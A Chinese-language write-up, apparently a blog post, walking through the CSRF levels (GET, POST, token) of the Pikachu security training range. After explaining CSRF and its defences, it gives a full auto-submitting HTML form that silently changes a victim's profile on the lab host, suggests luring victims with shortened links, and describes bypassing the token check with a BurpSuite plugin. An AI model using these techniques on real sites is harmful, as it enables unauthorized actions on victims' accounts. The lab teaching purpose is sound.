Pikachu 靶场 CSRF 通关解析

news2024/11/17 13:18:25

前言

Pikachu靶场是一种常见的网络安全训练平台,用于模拟真实世界中的网络攻击和防御场景。它提供了一系列的实验室环境,供安全专业人士、学生和爱好者练习和测试他们的技能。

Pikachu靶场的目的是帮助用户了解和掌握网络攻击的原理和技术,同时提供实践机会来开发和改进网络防御策略。靶场内的网络环境是虚拟的,用户可以通过远程访问来完成各种任务。这些任务可能包括渗透测试、漏洞利用、密码破解、网络侦查、恶意软件分析等。

Pikachu靶场提供了多个不同的实验室环境,以满足不同的训练需求。每个实验室环境都有不同的难度级别和目标,用户可以选择适合自己技能水平的实验室来进行训练。平台还提供了一系列的学习材料和指导,以帮助用户理解每个实验室的背景知识和解决方案。

通过在Pikachu靶场进行训练,用户可以提高自己的网络安全技能,了解常见的攻击技术和漏洞,并学习如何防御和保护网络。这对于网络管理员、渗透测试人员和安全研究人员来说都是非常有价值的。

总而言之,Pikachu靶场是一个提供实践机会的网络安全训练平台,旨在帮助用户提高网络安全技能和知识。它是一个非常有用的资源,可以帮助用户更好地应对日益增长的网络安全威胁。

介绍

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web应用程序安全漏洞,它允许攻击者在用户不知情的情况下以受害者的身份执行未经授权的操作。

CSRF攻击利用了Web应用程序对用户的信任。攻击者通过诱使用户访问恶意网站或点击恶意链接,使受害者在已登录的状态下访问目标网站。然后,攻击者利用受害者的身份在目标网站上执行恶意请求,例如转账、更改密码或删除数据。

以下是CSRF攻击的一般工作流程

        1. 受害者登录:受害者在目标网站上进行登录,并获得有效的会话凭证。

        2. 攻击者构造恶意请求:攻击者在恶意网站上构造一个包含目标网站请求的恶意请求,例如转账请求。

        3. 诱使受害者访问恶意请求:攻击者通过各种手段诱使受害者访问恶意网站,例如通过发送钓鱼邮件、社交媒体诱导等。

        4. 自动执行恶意请求:由于受害者在目标网站上已经登录,浏览器会自动发送恶意请求,并在受害者不知情的情况下执行。

为了防止CSRF攻击,可以采取以下一些防御措施

        1. 随机令牌:在每个表单提交或敏感操作中,为用户生成一个随机的、单次使用的令牌(CSRF Token)。在提交请求时,验证令牌的有效性,确保请求来源于合法的用户会话。

        2. SameSite Cookie属性:使用SameSite Cookie属性来限制Cookie在跨站请求中的发送,可以阻止许多CSRF攻击。

        3. 验证来源(Referer)头:通过验证请求的Referer头,确保请求来自合法的来源网站。但需要注意,Referer头并不是100%可靠,因为某些浏览器或代理可能会修改或删除该头。

        4. 双重身份验证(2FA):为用户提供双重身份验证机制,例如短信验证码、身份验证应用程序等,以增加账户安全性。

        5. 安全编程实践:开发人员应该遵循安全编程实践,包括对用户输入进行验证和过滤、使用适当的授权和身份验证机制等。

需要注意的是,CSRF攻击的影响范围取决于目标网站的功能和用户的权限。为了保护Web应用程序免受CSRF攻击,开发人员和网站管理员应该了解和实施适当的防御措施。

一、CSRF(get)

打开靶场点击提示给出了用户账号及密码

登录进去后可以看到一个修改个人信息 

打开 BurpSuite 抓包随便更改一个数值(如手机号更改为 120)

找到了更改的值,作为攻击者可以复制这条请求然后在另一个页面打开

例如构造一条将手机号改为 12315 的请求

访问后成功更改了手机号

那么就可以利用这条链接在第三方网站生成一个短链接诱导受害者去点击也可以使用 BurpSuite 专业版生成 CSRF Poc

二、CSRF(post)

同理登录进去然后点击修改个人信息

也是随便更改一个数值,然后打开 BurpSuite 抓包

找到了更改的值

因为是 POST 请求所以需要自己构造一个网页使其用户点击链接后通过表单提交实现 CSRF

BurpSuite 专业版可以直接生成 CSRF PoC 更方便)

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu:8848/vul/csrf/csrfpost/csrf_post.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="kobe@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

需要将这段代码部署在攻击者服务器上诱导受害者点击即可

三、CSRF(token)

这一关增加了 Token,但还是有办法的

首先在 BurpSuite 中下载插件 CSRF Token Tracker

然后将包发送到重放模块(Repeater)

注意:同时开启跟随重定向

接着在 CSRF Token Tracker 模块中填写 Host 地址(可以参考数据包中的 Host 值)及 Token 的参数名称(也是参考数据包)然后勾选两个选项

注意:后面的值是成功后的 Token 值,刚开始是没有的

做好以上步骤后就可以在重放模块中随意更改参数了,例如:

性别:man

修改为性别 girl

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1665222.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue3.0(六) toRef,toValue,toRefs和toRow,markRaw

文章目录 toReftoValuetoRefstoRowmarkRawtoRef和toRefs的区别toRaw 和markRaw的用处 toRef toRef 函数可以将一个响应式对象的属性转换为一个独立的 ref 对象。返回的是一个指向源对象属性的 ref 引用&#xff0c;任何对该引用的修改都会同步到源对象属性上。使用 toRef 时需…

ue引擎游戏开发笔记(37)——实现敌人接收攻击伤害,并作出反应

1.需求分析&#xff1a; 现在已经显示造成实际伤害&#xff0c;但敌人对实际伤害并未产生反馈&#xff0c;例如还击&#xff0c;或者死亡倒地等等&#xff0c;实现敌人对于受击的反馈。 2.操作实现&#xff1a; 1.思路&#xff1a;在动画蓝图中添加死亡动画&#xff0c;并通过…

QT6 android程序界面强制横屏显示不旋转

QT6开发的Android程序有时候旋转后程序会变形&#xff0c;比如想让其固定位横屏显示&#xff0c;就需要进行特殊设置&#xff0c;本文提供一种简便的设置方法。 一.AndroidManifest.xml文件介绍 Android的Manifest.xml文件是一个重要的配置文件&#xff0c;用于描述应用程序的…

Hive 特殊的数据类型 Array、Map、Struct

Array 数组类型&#xff0c;存储数据类型一致的列表数据。 我们可以使用 array 方法来创建一个数组&#xff0c;如下所示&#xff1a; select array(1,2,3,4,5);如果其中的数据类型不一致&#xff0c;那么它会转换成统一的数据类型&#xff08;前提是能够进行转换&#xff0…

[leetcode] 68. 文本左右对齐

文章目录 题目描述解题方法贪心java代码复杂度分析 题目描述 给定一个单词数组 words 和一个长度 maxWidth &#xff0c;重新排版单词&#xff0c;使其成为每行恰好有 maxWidth 个字符&#xff0c;且左右两端对齐的文本。 你应该使用 “贪心算法” 来放置给定的单词&#xff…

QT day5 作业

服务器头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTcpServer> //服务器类 #include <QTcpSocket> //客户端类 #include <QList> //链表类 #include <QMessageBox> //消息对话框类 #include <QDebu…

建筑、室内设计师如何利用AI绘画辅助完成一套设计工作流?超长干货深度好文建议收藏!

2023年是AI人工智能突然大爆发的元年 所有行业都受到了AI的冲击 对设计师来说也迎来了新一轮的效率革命 新事物的到来 有人热情学习和接受 也有人担忧害怕和拒绝 担心自己被取代 其实 取代你的并不是AI 而是会使用AI的设计师 常用的AI工具有哪些&#xff1f; 对于设…

基于单片机的直流电机控制方法研究

摘要&#xff1a;分析表明&#xff0c;我国用电设备应用数量的持续增加&#xff0c;单片机在电力领域的应用范围也在不断扩大。基 于对电动机运行转速的有效控制&#xff0c;成为自动控制系统关注的重点。研究单片机控制直流电机运行状态的 方法。 关键词&#xff1a;单片机&a…

KAN网络最全解析——比肩MLP和Transformer?

1 基本思路 1.1 MLP与Spline的优缺点 多层感知器 (MLP)是深度学习的基础理论模块&#xff0c;是目前可用于逼近非线性函数的默认模型&#xff0c;其表征能力已由通用逼近定理证明。但MLP也有明显的缺点&#xff0c;例如在 Transformer中&#xff0c;MLP 的参数量巨大&#xf…

VSCode:隐藏工程中的文件和目录

VSCode&#xff1a;设置搜索时的排除目录_vscode全局搜索排除掉某些目录-CSDN博客 介绍了如何排除搜索目录 有时也需要隐藏工程中不必关注的文件和目录。 假设工程中的文件结构如下 $ tree . ├── doc │ └── readme.txt ├── m.cpp └── user_guide 可以通过如下方…

关于Matplotlib如何在网页中使用?

目录 一、如何在网页中使用matplotlib 二、如何使用mpld3在网页中显示图表 三、如何使用matplotlibflask在网页中显示图表 一、如何在网页中使用matplotlib Matplotlib是Python中一个非常流行的可视化库。然而&#xff0c;Matplotlib主要是为桌面应用程序设计的&#xff0c;…

llm.c的Makefile

源码 CC ? clang CFLAGS -Ofast -Wno-unused-result -Wno-ignored-pragmas -Wno-unknown-attributes LDFLAGS LDLIBS -lm INCLUDES CFLAGS_COND -marchnative# Find nvcc SHELL_UNAME $(shell uname) REMOVE_FILES rm -f OUTPUT_FILE -o $ CUDA_OUTPUT_FILE -o $# N…

洁净环境微生物监测的解决方案

药品污染控制 Manufacturing 无菌药品生产污染控制意义 01 CCS策略 无菌药品生产污染控制策略&#xff08;CCS) &#xff1a;来自于现行产品和工艺理解&#xff0c;为确保工艺性能和产品质量&#xff0c;所计划的一套体系&#xff0c;针对微生物、热原/内毒素和微粒的控制方…

文本提取新技能:学会按行数批量提取,轻松应对各种需求

在数字化时代&#xff0c;文本处理成为我们日常生活和工作中不可或缺的一部分。无论是从网页、文档还是数据库中提取信息&#xff0c;文本提取技能都显得尤为重要。而按行数批量提取文本内容&#xff0c;更是文本处理中的一项高效且实用的技能。本文将介绍办公提效工具如何按行…

工业机器人应用实践之玻璃涂胶(篇一)

工业机器人 工业机器人&#xff0c;即面向工业领域的机器人。工业机器人是广泛用于工业领域的多关节机械手或多自由度的机器装置&#xff0c;具有一定的自动性&#xff0c;可依靠自身的动力能源和控制能力实现各种工业加工制造功能。工业机器人被广泛应用于电子、物流、化工等…

Verlog-流水灯-FPGA

Verlog-流水灯-FPGA 引言&#xff1a; ​ 随着电子技术的飞速发展&#xff0c;现场可编程门阵列&#xff08;FPGA&#xff09;已成为电子设计自动化&#xff08;EDA&#xff09;领域中不可或缺的组件。FPGA以其高度的灵活性和可定制性&#xff0c;广泛应用于通信、图像处理、工…

【系统分析师】软件架构设计

文章目录 1、构件与软件复用1.1 主流构件标准1.2 构件获取与管理1.3 构件复用的方法 2、软件架构概述3、软件架构建模4、软件架构风格4.1 经典架构风格4.2 层次架构风格4.3 富互联网应用-RIA 5、面向服务的架构5.1 SOA概述5.2 SOA的关键技术5.3 SOA的实现方法 6、软件架构评估6…

ARM时钟树结构(GD32)

时钟树的简易框图 初始化配置系统时钟 配置系统初始化时钟&#xff08;参考手册&#xff09; 对应hal库函数 使用72MHz的系统时钟 do -----------while&#xff08;0&#xff09;的使用方法 系统时钟 #include <stdint.h> #include "gd32f30x.h"int main(void)…

实现MYSQL8.3.0 版本流量抓取

实现MYSQL8.3.0 版本流量抓取 根据测试需求&#xff0c;需要抓取MYSQL8.3.0流量包&#xff0c;使用wireshark 数据库客户端实现 安装数据库服务端 这里就不给详细操作方法&#xff0c; 网上教程一大堆&#xff0c;小编这里是最新的MYSQL 8.3.0版本 安装成功后&#xff0c;创…

PyQt6--Python桌面开发(7.QTextEdit多行富文本框控件)

QTextEdit多行富文本框控件 保存文件到本地QLine多行文本框.ui import sys import time from PyQt6.QtGui import QValidator,QIntValidator from PyQt6.QtWidgets import QApplication,QLabel,QLineEdit,QTextEdit from PyQt6 import uic,QtGuiif __name__ __main__:appQApp…